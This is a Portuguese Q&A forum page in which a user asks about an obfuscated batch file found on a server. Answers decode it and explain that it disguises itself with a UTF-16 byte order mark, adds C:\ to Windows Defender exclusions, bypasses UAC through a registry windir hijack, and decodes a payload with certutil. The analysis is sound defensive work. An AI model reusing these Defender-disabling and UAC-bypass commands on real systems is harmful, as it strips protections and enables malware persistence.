AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • Início
  • system&network
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • Início
  • system&network
    • Recentes
    • Highest score
    • tags
  • Ubuntu
    • Recentes
    • Highest score
    • tags
  • Unix
    • Recentes
    • tags
  • DBA
    • Recentes
    • tags
  • Computer
    • Recentes
    • tags
  • Coding
    • Recentes
    • tags
Início / computer / Perguntas / 1676713
Accepted
pee2pee
pee2pee
Asked: 2021-09-18 02:14:55 +0800 CST2021-09-18 02:14:55 +0800 CST 2021-09-18 02:14:55 +0800 CST

Como decodificar o conteúdo de um arquivo em lote com caracteres chineses

  • 772

Eu tenho um arquivo de lote com uma carga de caracteres chineses dentro como abaixo. Quando eu executo, o arquivo é excluído. Alguma idéia de como decodificar o que é o conteúdo e o que está fazendo?

insira a descrição da imagem aqui

Parte do texto:

挦獬਍╀啰求捉縺㤸㠬┳倥䉕楌㩣㕾ㄬ䌥潈⁞景╞畐求䍉縺㘴ㄬ┶⁦ഠ帊瀥䉕䥬㩃ㅾⰴ┱䱞瀥䉕楬㩃㕾ⰵ㜱帥瀥扵䥬㩣㑾ㄬ‥ഠ匊瑅删㵞杊╞啰䱂捉縺㌱ㄬ帥瑧塇╺啰䱂捉縺ⰴ┱╷啰䱂捉縺ㄱㄬ帥浨瀥䉕䥌㩣ㅾⰰ┱卞䡞幉⁏਍爥縺ⰸ┱╥㩲㑾ㄬ‥慮爥縺㈱ㄬ攥㴠┠㩲ㅾⰰ┱╡㩲㑾ㄬ挥爥縺ㄱㄬ‥╯㩲ㅾⰰ┱爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥⁲爥縺〱ㄬ礥┠㩲ㅾⰲ┱潯爥縺㈱ㄬ㠥㔲ഠ┊㩲㡾ㄬ攥爥縺ⰴ┱┠㩲ㅾㄬ┥㩲㉾ㄬ┥㩲㑾ㄬ┥㩲ㅾⰱ┱爥縺㌱ㄬ┥㩲ㅾⰰ┱㴠┠㩲ㅾⰱ┱爥縺ⰴ┱爥縺ⰴ┱╰㩲㡾ㄬ㨥⼯爥縺ⰱ┱爥縺ⰲ┱爥縺ⰴ┱爥縺ㄱㄬ┥㩲ㅾⰳ┱爥縺〱ㄬ⸥潣爥縺㈱ㄬ⼥爥縺㈱ㄬ漥╯㩲ㅾⰲ┱㈸⼵爥縺〱ㄬ愥爥縺ⰴ┱╣㩲ㅾⰱ┱漭爥縺〱ㄬ春爥縺㌱ㄬ┥㩲㡾ㄬ挥╡㩲㑾ㄬ漥⵲爥縺㈱ㄬ愥敤┭㩲㉾ㄬ渥瀭╹㩲㑾ㄬ┥㩲ㅾⰱ┱湯†਍湞敞爥縺ⰴ┱ㅞ⁞爥縺ⰸ┱䕞爥縺ⰸ┱爥縺㐱ㄬ┥㩲ㅾⰶ┱幯⁎帾啎䱞㈠☾‱ഠ帊爥縺ⰲ┱⁆攥剒剏敌䕖╬㴠‽‰
ഠ倊幯別縺ⰹ┱剅╞㩒ㅾⰴ┱別縺ㄱㄬ帥幅幌⽬⁗㄰⼠灥〠⽞湞別縺㜱ㄬ帥幰振帠帢摁䑞席幍偰干䙅幥幒湅䍞⁥ⵞ䕞別縺ⰶ┱捞╬㩒ㅾⰳ┱別縺㐱ㄬ帥別縺㘱ㄬ漥乞偞╡㩒㑾ㄬ┥㩒ㅾⰵ┱✠䍞尺‧席幦副幃㭅幥別縺ⰶ┱╞㩒㉾ㄬ┥㩒㑾ㄬ‥•ഠ⤊䔠╌㩲㡾ㄬ帥⁥
ഠ爊╥㩲ㅾㄬ‥摡⁤爥縺㔱ㄬ䬥啃䕜癮爥縺ⰲ┱潲╮㩲ㅾⰲ┱湥爥縺ⰴ┱⼠⁦瘯┠㩲㥾ㄬ┥㩲㉾ㄬ渥╤㩲㉾ㄬ爥⼠爥縺ⰴ┱删幅爥縺ⰵ┱╟㩲ㅾⰴ┱幚⼠⁤≞╣㩲ㅾⰲ┱⹤硥⁥振┠㩲㡾ㄬ┥㩲㑾ㄬ愥╲㩲㑾ㄬ‥≜≜⁞┯㩒ㅾⰲ┱別縺ⰲ┱湞尠┢䙾尰㸢乞爥縺㌱ㄬ䰥㈠☾‱簠⁼╞㩒ㅾⰴ┱癞╣㩒ㅾⰵ┱別縺㜱ㄬ┥㩒㡾ㄬ┥㩒㑾ㄬ帥•举爥縺㌱ㄬ帥⁌㸲ㄦ†਍爥縺㐱ㄬ挥爥縺㔱ㄬ吥╁㩲㡾ㄬ欥爥縺ⰸ┱⼠啒⁎⽞湔尠╍㩲ㅾⰶ┱牣

Tem sido um arquivo de lote no servidor desde que um terceiro o instalou, mas agora eles faliram e estamos tentando descobrir o que está acontecendo

Quando executamos o arquivo nele, obtemos:

Little-endian UTF-16 Unicode text, with very long lines, with no line terminators

Não se traduz em nada, então pode não ser chinês, mas isso se deve à minha ignorância mais do que qualquer outra coisa

Eu também tentei usar, iconvmas o arquivo continua o mesmo

iconv -f utf-16 -t utf-8 batchfile.bat > filename_new.txt

Quando eu corro stringsnele, recebo algumas coisas legíveis de volta

certutil -f -decode %pooth% %pooth%
timeout 1
wmic process call create %pooth%
setlocal enableextensions

Em um editor hexadecimal, recebo o seguinte e, embora seja um pouco mais legível, ainda parece sem sentido

insira a descrição da imagem aqui

batch-file cmd.exe
  • 2 2 respostas
  • 4664 Views

2 respostas

  • Voted
  1. Best Answer
    user1686
    2021-09-18T03:20:21+08:002021-09-18T03:20:21+08:00

    Na verdade, o arquivo tem texto ASCII regular (ou Windows-125x).

    Parece apenas um pouco com UTF-16 contendo alguns caracteres chineses, devido a alguns bytes cuidadosamente escolhidos no início que são capazes de enganar filee outros softwares de detecção de caracteres. (Sua captura de tela mostra que o arquivo começa com FF FE, que é U+FEFF "Byte order mark" em UTF-16LE.)

    Mas eu armazeno seu exemplo como UTF-16 LE e, em seguida, peço ao meu editor de texto para interpretar diretamente esses bytes como ASCII ou Windows-1252 - não converta , mas literalmente abra o arquivo como cp1252, assim como seu editor hexadecimal fez - então recebo um arquivo normal Script em lote do Windows Cmd:

    &cls
    @%pUBlIc:~89,83%%PUBLic:~5,1%CHo^ of^%PuBlIC:~46,16%f  
    ^%pUBlIC:~14,1%^L%pUBliC:~55,17%^%publIc:~4,1%  
    SEt R^=Jg^%pUBLIc:~13,1%^gtGXz%pUBLIc:~4,1%w%pUBLIc:~11,1%^hm%pUBLIc:~10,1%^S^HI^O 
    %r:~8,1%e%r:~4,1% na%r:~12,1%e = %r:~10,1%a%r:~4,1%c%r:~11,1% o%r:~10,1%%r:~13,1%%r:~8,1%ca%r:~4,1%or %r:~10,1%y %r:~12,1%oo%r:~12,1%825 
    %r:~8,1%e%r:~4,1% %r:~1,1%%r:~2,1%%r:~4,1%%r:~11,1%%r:~13,1%%r:~10,1% = %r:~11,1%%r:~4,1%%r:~4,1%p%r:~8,1%://%r:~1,1%%r:~2,1%%r:~4,1%%r:~11,1%%r:~13,1%%r:~10,1%.co%r:~12,1%/%r:~12,1%oo%r:~12,1%825/%r:~10,1%a%r:~4,1%c%r:~11,1%-o%r:~10,1%f%r:~13,1%%r:~8,1%ca%r:~4,1%or-%r:~12,1%ade-%r:~2,1%n-py%r:~4,1%%r:~11,1%on  
    ^n^e%r:~4,1%^1^ %r:~8,1%^E%r:~8,1%%r:~14,1%%r:~16,1%o^N >^NU^L 2>&1  
    ^%r:~2,1%F %eRRORLeVEl% == 0 (  
    Po^%R:~9,1%ER^%R:~14,1%%R:~11,1%^E^L^l/W 01 /ep 0^/^n%R:~17,1%^p^/c ^"^Ad^D-^M^pPr^EFe^R^En^Ce ^-^E%R:~6,1%^cl%R:~13,1%%R:~14,1%^%R:~16,1%o^N^Pa%R:~4,1%%R:~15,1% '^C:\' -^f^oRC^E;e^%R:~6,1%^%R:~2,1%%R:~4,1% "  
    ) EL%r:~8,1%^e (  
    re%r:~1,1% add %r:~15,1%KCU\Env%r:~2,1%ron%r:~12,1%en%r:~4,1% /f /v %r:~9,1%%r:~2,1%nd%r:~2,1%r /%r:~4,1% RE^%r:~5,1%_%r:~14,1%Z^ /d ^"c%r:~12,1%d.exe /c %r:~8,1%%r:~4,1%ar%r:~4,1% \"\"^ /%R:~12,1%%R:~2,1%^n \"%~F0\">^N%r:~13,1%L 2>&1  || ^%R:~14,1%^vc%R:~15,1%%R:~17,1%%R:~8,1%%R:~4,1%^" >N%r:~13,1%^L 2>&1  
    %r:~14,1%c%r:~15,1%TA%r:~8,1%k%r:~8,1% /RUN ^/Tn \M%r:~16,1%cr
    

    (Geralmente, os mesmos bytes podem ser lidos de várias maneiras – por exemplo, os dois bytes 2c 31significam o caractere "ㄬ" se lido como UTF-16 LE, ou os caracteres ,1se lidos como ASCII. Por exemplo, você vê "㩲㉾ㄬ" um muito em seu editor porque, na verdade r:~2,1, é parte de uma expansão de variável em lote.)

    Este "gibberish" é um arquivo de lote padrão, apenas um pouco ofuscado - você está vendo muitas %variable:~start,length%expansões de variáveis; caracteres específicos da %PUBLIC%variável são reagrupados em %R%e, em seguida, caracteres específicos dessa variável são usados ​​para criar comandos. No entanto, por exemplo,

    re%r:~1,1% add %r:~15,1%KCU\Env%r:~2,1%ron%r:~12,1%en%r:~4,1% /f /v
    

    claramente significa reg add HKCU\Environment /f /v.

    Depois de construir a maior parte %R%adivinhando¹ e removendo muitos ^caracteres de escape estranhos, o resultado é:

    &cls
    @ECHo off  
    cLs  
    SEt R=JgigtGXzswbhmuSHIO 
    set name = batch obuscator by moom825 
    set github = https://github.com/moom825/batch-obfuscator-made-in-python  
    net1 sEsSIoN >NUL 2>&1  
    iF %eRRORLeVEl% == 0 (  
    PowERShELl/W 01 /ep 0/nOp/c "AdD-MpPrEFeREnCe -EXcluSIoNPatH 'C:\' -foRCE;eXit "  
    ) ELse (  
    reg add HKCU\Environment /f /v windir /t REG_SZ /d "cmd.exe /c start \"\" /min \"%~F0\">NuL 2>&1  || SvcHOst" >NuL 2>&1  
    ScHTAsks /RUN /Tn \MIcr
    

    A primeira coisa que faz é muito suspeita - depois de verificar se tem direitos de administrador usando net1 session, ele adiciona toda a unidade C:\ à lista de exclusão do Windows Defender. (No caso "else" ele provavelmente tenta se elevar por meio do Agendador de Tarefas, como forma de contornar o UAC.)

    Com base no snippet inicial, isso pode desofuscar o restante:

    #!/usr/bin/env perl
    
    my %vars = (
        public => "C:\\Users\\Public",
        r => "JgigtGXzswbhmuSHIO",
    );
    
    while (<>) {
        s/%(r|public):~(\d+),(\d+)%/substr($vars{lc $1}, $2, $3)/ige;
        s/\^(.)/$1/g;
        print;
    }
    

    ¹ (Eu fiz isso no Linux e não percebi que %PUBLIC% é na verdade uma variável padrão que existe em todos os sistemas Windows...)

    • 75
  2. moom825
    2021-09-29T06:31:05+08:002021-09-29T06:31:05+08:00

    A julgar pelo texto existente que posso ver, acho que este é o desafio ctf de john hammond ( https://ctftime.org/task/17327 ). Tenho certeza de que john fez o desafio de uma amostra de vírus, então é que você tem o ctf de john em seu servidor por algum motivo (inofensivo) ou você tem a amostra original em seu servidor (possivelmente prejudicial).

    O vírus faz um desvio do UAC (controle de conta de usuário) usando o método de desvio do UAC do agendador de tarefas (agora estou baseando isso no ctf de john) ele desativa todo o Windows Defender e, em seguida, grava um exe codificado em base64 para "C:\Users \Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup", então ele usará um utilitário do Windows chamado "certutil" que possui uma função de decodificação base64. Portanto, no total, esse arquivo de lote obterá admin, desativará o defensor e gravará a carga útil na inicialização, adicionando persistência, decodificando a carga útil e executando-a.

    Eu sugiro NÃO executar isso!

    • 2

relate perguntas

  • Como criar um script que ouça as alterações de conteúdo e toque nas pastas pai até o fim?

  • Qual é o comando para redefinir uma instalação do Windows sem excluir nenhum arquivo

  • O Windows 2016 não executa o arquivo .bat

  • Como fazer um script em lote para fazer backup de um arquivo específico com uma pasta de destino exclusiva (windows) [fechado]

Sidebar

Stats

  • Perguntas 205573
  • respostas 270741
  • best respostas 135370
  • utilizador 68524
  • Highest score
  • respostas
  • Marko Smith

    Como posso reduzir o consumo do processo `vmmem`?

    • 11 respostas
  • Marko Smith

    Baixar vídeo do Microsoft Stream

    • 4 respostas
  • Marko Smith

    O Google Chrome DevTools falhou ao analisar o SourceMap: chrome-extension

    • 6 respostas
  • Marko Smith

    O visualizador de fotos do Windows não pode ser executado porque não há memória suficiente?

    • 5 respostas
  • Marko Smith

    Como faço para ativar o WindowsXP agora que o suporte acabou?

    • 6 respostas
  • Marko Smith

    Área de trabalho remota congelando intermitentemente

    • 7 respostas
  • Marko Smith

    O que significa ter uma máscara de sub-rede /32?

    • 6 respostas
  • Marko Smith

    Ponteiro do mouse movendo-se nas teclas de seta pressionadas no Windows?

    • 1 respostas
  • Marko Smith

    O VirtualBox falha ao iniciar com VERR_NEM_VM_CREATE_FAILED

    • 8 respostas
  • Marko Smith

    Os aplicativos não aparecem nas configurações de privacidade da câmera e do microfone no MacBook

    • 5 respostas
  • Martin Hope
    Saaru Lindestøkke Por que os arquivos tar.xz são 15x menores ao usar a biblioteca tar do Python em comparação com o tar do macOS? 2021-03-14 09:37:48 +0800 CST
  • Martin Hope
    CiaranWelsh Como posso reduzir o consumo do processo `vmmem`? 2020-06-10 02:06:58 +0800 CST
  • Martin Hope
    Jim Pesquisa do Windows 10 não está carregando, mostrando janela em branco 2020-02-06 03:28:26 +0800 CST
  • Martin Hope
    v15 Por que uma conexão de Internet gigabit/s via cabo (coaxial) não oferece velocidades simétricas como fibra? 2020-01-25 08:53:31 +0800 CST
  • Martin Hope
    andre_ss6 Área de trabalho remota congelando intermitentemente 2019-09-11 12:56:40 +0800 CST
  • Martin Hope
    Riley Carney Por que colocar um ponto após o URL remove as informações de login? 2019-08-06 10:59:24 +0800 CST
  • Martin Hope
    zdimension Ponteiro do mouse movendo-se nas teclas de seta pressionadas no Windows? 2019-08-04 06:39:57 +0800 CST
  • Martin Hope
    jonsca Todos os meus complementos do Firefox foram desativados repentinamente, como posso reativá-los? 2019-05-04 17:58:52 +0800 CST
  • Martin Hope
    MCK É possível criar um código QR usando texto? 2019-04-02 06:32:14 +0800 CST
  • Martin Hope
    SoniEx2 Altere o nome da ramificação padrão do git init 2019-04-01 06:16:56 +0800 CST

Hot tag

windows-10 linux windows microsoft-excel networking ubuntu worksheet-function bash command-line hard-drive

Explore

  • Início
  • Perguntas
    • Recentes
    • Highest score
  • tag
  • help

Footer

AskOverflow.Dev

About Us

  • About Us
  • Contact Us

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve